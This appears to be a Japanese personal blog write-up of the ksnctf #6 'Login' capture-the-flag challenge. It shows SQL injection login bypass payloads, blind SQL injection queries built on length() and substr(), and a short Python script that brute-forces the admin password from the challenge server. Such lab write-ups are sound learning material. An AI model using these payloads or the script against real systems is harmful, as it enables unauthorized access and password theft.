はじめに
この問題は自力で解いたわけではなく、他の方のWrite-upを読んで解きました。
自分の勉強用として書いておきます。
解法
とりあえず定番のIDに「admin」、Passに「' OR 1=1 --」と打ち込んでみる・・・
あっさりログインできてしまったけど、さすがにそれでフラグが貰えるわけではないらしい。
adminのパスワードを取得しろって問題みたい('Д')
けど、自分はSQLの知識が全くないのでこれ以上どうすればいいか分からず、Write-upを探してみた…(笑)
↓参考にしたサイト↓
ネットワークエンジニア ひよこ倶楽部 ksnctf #6 Login Write-Up
まずはパスワードの文字数を調べる!
admin' and (SELECT length(pass) FROM user WHERE id='admin') <= 100--
こういう構文で調べれるみたい。
ID欄にこのSQL文を書いて、Pass欄はコメントアウトされるから空白でもOK
この場合、IDがadminかつ、adminのパスワードが100文字以下ならtrueを返すようになっている。
だから、「100」の数字を適当に変えていけばパスワードの文字数が分かる。
その結果、パスワードの文字数は・・・21文字だと判明!
文字数が分かったところで、次はいよいよパスワードを取得してみる。
使用するSQL文はコレ
admin' and substr((SELECT pass FROM user WHERE id='admin'),1,1)='F'--
IDがadminかつ、adminのパスワードの1文字目がFならばtrueを返す。
「substr((--省略--),1,5)='Flag'」って書けば、adminのパスワードの1文字目~4文字目が「Flag」ならばtrueが返されてログインできる。
あとはこのSQL文を使って効率の良いブルートフォースアタックをするプログラムを書いて実行するだけ!
勉強中のPythonで書いてみました(・ω・)
import requests def search(count, passwd): for x in range(33, 127): payload = {'id': "admin' and substr((SELECT pass FROM user WHERE id ='admin'),1," + str(count) + ")='" + passwd + chr(x) + "'--", 'pass': ""} r = requests.post("http://ctfq.sweetduet.info:10080/~q6/", data=payload) html = r.text if len(html) > 2000: print(chr(x)) return chr(x) password = "" for i in range(1, 22): password += search(i, password) print("Flag is " + password)
初めてPythonで関数を使ってみた…(笑)
出力結果を確認すると・・・フラグゲットー!
これ、ブラインドSQLインジェクションっていう攻撃みたい?
ブルートフォースするしかこの問題を解くことはできないのかなぁー・・・?
CTFによってはブルートフォース禁止のルールもあるみたいだし、あまりしたくないというか…
でもその前にSQL勉強するしかないよね…(´Д`)(あまり興味ない)